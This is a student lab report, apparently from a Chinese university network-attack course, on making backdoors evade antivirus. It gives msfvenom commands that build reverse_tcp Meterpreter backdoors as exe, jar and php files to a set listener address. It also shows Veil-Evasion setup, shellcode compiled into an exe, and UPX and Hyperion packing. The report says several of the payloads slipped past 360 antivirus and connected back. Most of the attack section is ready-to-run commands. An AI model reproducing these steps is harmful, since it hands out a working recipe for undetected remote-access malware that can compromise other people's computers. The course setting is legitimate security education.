2018-2019-2 网络对抗技术 20165307 Exp3 免杀原理与实践

1. 实践内容(3.5分)

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2 报告内容:

2.1.基础问题回答

(1)杀软是如何检测出恶意代码的?

(2)免杀是做什么?

(3)免杀的基本方法有哪些?

2.2.实践总结与体会

2.3.开启杀软能绝对防止电脑中恶意代码吗?

2.4.实践过程记录

3.报告评分 1分

3.1 报告整体观感 0.5分

  3.1.1 报告格式范围,版面整洁 加0.5。

  3.1.2 报告排版混乱,加0分。

3.2 文字表述 0.5分

 3.2.1报告逻辑清楚,比较简要地介绍了自己的操作目标与过程 加0.5分。

 3.2.2报告逻辑混乱表述不清或文字有明显抄袭可能 加0分

免杀基础问题回答

1、杀软是如何检测出恶意代码的?

  • 是基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代码,当一个可执行文件,包含这样的数据则被认为是恶意代码)。
  • 是启发式恶意软件检测(当某个软件或者程序想干一些看起来像是恶意软件干的事情,那么机会被定义为恶意软件,检测效果比较显著,可以检测0-day恶意软件,但通常是因为缺乏精确判定依据,并且因为需要一直检测,所以开销比较大)。
  • 是基于行为的恶意软件检测(在启发式上加入了行为监控,基于动态的监控)。

2、免杀是做什么?

  • 防止被杀软检测出来

3、免杀的基本方法有哪些?

  • 改变特征码
    加壳、利用encode进行编码、用其他语言进行重写再编译

  • 改变行为
    使用反弹式连接、使用隧道技术、加密通讯数据、基于内存的操作、减少对系统的修改、加入混淆作用的正常功能代码

实践总结与体会

通过本次实验,我了解到了免杀的概念、免杀的方法。最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,很有乐趣的一次实验。

离实战还缺些什么技术或步骤?

现阶段只能使用老师教过的,或者同学使用过的方法进行免杀的尝试,我觉得自己要是想真正具备上战场的能力,还是要多动脑,有自己的想法。此外,虽然程序能够实现免杀,但如何让被控主机运行它也是一个问题。

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  1. 正确使用msf编码器,生成exe文件
  • 在实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

用VirusTotal扫描后结果如下:

Virscan网站的扫描结果如下:

  • 下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.1.155 LPORT=5307 -f exe > msf20165307.exe

十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.1.155 LPORT=5307 -f exe > msf5307.exe

将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

可见多次编码对免杀没有太大的效果。
2. msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5307 x> wz_backdoor_java.jar
生成文件如下所示:

扫描结果如下:

  1. msfvenom生成php文件

生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5307 x> 5307_backdoor.php

生成文件如下所示:

扫描结果如下:

  1. 使用veil-evasion生成后门程序及检测
安装veil

mkdir -p ~/.cache/wine

cd ~/.cache/wine

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install veil-evasion命令安装Veil

之后用veil打开veil,输入y继续安装直至完成:

输入veil指令,会出现下面这个界面

use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;

设置端口,命令为:set LPORT 5307

输入generate生成文件,接着输入你想要playload的名字:veil_c_5307

检测一下:

还是一样的会被检查出来。

  1. 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5329 -f c用c语言生成一段shellcode;

创建一个文件20165307.c,然后将unsigned char buf[]赋值到其中,代码如下:

使用命令:i686-w64-mingw32-g++ 20165307.c -o 20165307.exe编译这个.c文件为可执行文件;

检测结果如下图:

6.加壳尝试一下

使用压缩壳(UPX)

给之前的20165307.exe加个壳得到wz_upxed.exe:

加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/

输入命令wine hyperion.exe -v wz_upxed.exe wz_upxed_Hyperion.exe进行加壳:

检查一下

任务二:通过组合应用各种技术实现恶意代码免杀

使用360安全卫士检测一下试验中生成的所有后门程序:

发现居然只检测出来4个,剩下的4个都能实现免杀!!

分别是:

  • msfvenom生成php文件
  • 使用veil-evasion生成后门程序
  • 半手工注入Shellcode
  • 通过组合半手工制作shellcode,压缩壳

随便选一个回连试一下,都成功了!

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

攻击失败,被同学的杀软一网打尽。全都被检测出来了,看来我的360很弱。

原文地址:https://www.cnblogs.com/wangzhe1998/p/10628300.html